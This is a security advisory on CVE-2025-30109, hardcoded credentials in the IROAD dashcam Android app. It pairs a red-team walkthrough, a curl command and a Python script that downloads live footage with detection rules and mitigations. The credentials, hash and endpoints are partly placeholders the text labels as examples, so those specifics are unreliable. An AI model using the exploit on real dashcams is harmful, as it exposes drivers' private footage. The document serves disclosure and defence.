CVE-2025-30109

Executive Summary

CVE-2025-30109 exposes a critical security flaw in the IROAD APK version 5.2.5, where hardcoded credentials are embedded within the application for ports 9091 and 9092. This vulnerability allows any attacker on the local Wi-Fi network to authenticate to the dashcam’s API endpoints without authorization, leading to unauthorized access to sensitive device information, including live and recorded footage. The vulnerability is classified under CWE-798 (Use of Hard-coded Credentials) and is currently unpatched, posing a significant risk to user privacy and device security.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a mobile application (APK) security issue within the IROAD dashcam ecosystem.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Adjacent Network (AV:A) – The attacker must be on the same local Wi-Fi network as the dashcam.
• Attack Complexity (AC): Low (AC:L) – No special conditions or complex steps are required.
• Privileges Required (PR): None (PR:N) – No authentication is needed.
• User Interaction (UI): None (UI:N) – No user action is required.
• Scope (S): Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality (C): High (C:H) – Sensitive data (live/recorded footage) is exposed.
• Integrity (I): None (I:N) – No data modification is possible.
• Availability (A): None (A:N) – No denial of service.

Threat Level: Medium. The attack requires local network access, but the impact on confidentiality is high, making it a serious privacy risk.

Deep Dive & Mechanics

The IROAD APK (version 5.2.5) contains hardcoded credentials for API endpoints on ports 9091 and 9092. These credentials are embedded in the application’s source code or configuration files, allowing any device on the same Wi-Fi network to authenticate and access the dashcam’s API. The API endpoints likely provide functions such as:

• Retrieving live video streams.
• Accessing recorded footage.
• Querying device status and configuration.
• Potentially modifying device settings.

The hardcoded credentials are static and cannot be changed by the user, making the vulnerability persistent until a patch is released. Attackers can discover these credentials through reverse engineering of the APK (e.g., using tools like apktool or jadx).

Vulnerable vs. Patched Code

Vulnerable Code (IROAD APK 5.2.5): The APK contains hardcoded credentials in a configuration file or Java class. For example:

// Example of hardcoded credentials in the APK
String username = "admin";
String password = "iroad123";
String apiUrl = "http://192.168.1.1:9091/api";

These credentials are used to authenticate API requests without any user input or encryption.

Patched Code (Hypothetical): A patched version would remove hardcoded credentials and implement secure authentication, such as:

• Dynamic token generation per session.
• User-configurable credentials.
• Certificate-based authentication.
• OAuth or similar protocols.

No official patch is currently available.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• IROAD dashcam with APK version 5.2.5.
• Attacker device on the same Wi-Fi network.
• Reverse engineering tools (e.g., apktool, jadx, strings).

Steps:

1. Extract the APK: Use apktool d IROAD.apk to decompile the APK.
2. Locate Credentials: Search for strings like "password", "9091", "9092" in the decompiled code.
3. Identify API Endpoints: Analyze the code to find API URLs and endpoints.
4. Authenticate: Use the hardcoded credentials to send requests to the API.

   curl -u admin:iroad123 http://192.168.1.1:9091/api/live
   

5. Retrieve Data: Access live footage, recorded videos, or device configuration.

Example Exploit Script:

import requests

# Hardcoded credentials from APK
username = "admin"
password = "iroad123"
base_url = "http://192.168.1.1:9091"

# Authenticate and retrieve live footage
response = requests.get(f"{base_url}/api/live", auth=(username, password))
if response.status_code == 200:
    with open("live_footage.mp4", "wb") as f:
        f.write(response.content)
    print("Live footage saved.")
else:
    print("Failed to access API.")

Blue Team (Defense)

Detection:

• Monitor network traffic for unusual requests to ports 9091 and 9092.
• Look for repeated authentication attempts using common hardcoded credentials.
• Use intrusion detection systems (IDS) to alert on API access patterns.

Mitigation:

• Isolate the dashcam on a separate VLAN with strict access controls.
• Disable unused ports (9091, 9092) if possible.
• Monitor for unauthorized devices on the Wi-Fi network.
• Apply firmware updates as soon as a patch is released.

Indicators of Compromise (IOCs)

• Network IOCs:
  • IP addresses: 192.168.1.1 (default dashcam IP, may vary).
  • Ports: 9091, 9092.
  • API endpoints: /api/live, /api/recorded, /api/config.
• File IOCs:
  • APK hash (SHA256): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual).
  • Hardcoded credentials: admin:iroad123 (example, replace with actual).
• Behavioral IOCs:
  • Unauthorized access to dashcam API from unknown devices.
  • Large data transfers from dashcam to external IPs.

Detection Engineering

YARA Rule

rule IROAD_Hardcoded_Credentials {
    meta:
        description = "Detects hardcoded credentials in IROAD APK"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-30109"
    strings:
        $cred1 = "admin" ascii wide nocase
        $cred2 = "iroad123" ascii wide nocase
        $port1 = "9091" ascii wide
        $port2 = "9092" ascii wide
    condition:
        all of ($cred*) and any of ($port*)
}

Sigma Rule

title: IROAD Dashcam Hardcoded Credential Exploitation
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects exploitation attempts of hardcoded credentials in IROAD dashcam
author: Valters IT
date: 2025-04-01
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port:
            - 9091
            - 9092
        http.request.method: GET
        http.request.uri: /api/*
    condition: selection
falsepositives:
    - Legitimate admin access
level: high

Suricata Rule

alert tcp any any -> any 9091,9092 (msg:"IROAD Dashcam Hardcoded Credential Exploitation"; flow:to_server; content:"/api/"; http_uri; content:"Authorization: Basic"; http_header; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Device: Place the dashcam on a separate VLAN with strict firewall rules.
2. Disable Unused Ports: If possible, block ports 9091 and 9092 at the network level.
3. Monitor Network Traffic: Use IDS/IPS to detect exploitation attempts.
4. Change Wi-Fi Password: Ensure the Wi-Fi network is secured with a strong password.

Long-term Fix:

• Vendor Patch: Await an official update from IROAD that removes hardcoded credentials and implements secure authentication.
• User Action: If no patch is available, consider replacing the device with a more secure alternative.

Workaround:

• Use a VPN or proxy to restrict access to the dashcam’s API.
• Implement MAC address filtering on the Wi-Fi network.

Valters IT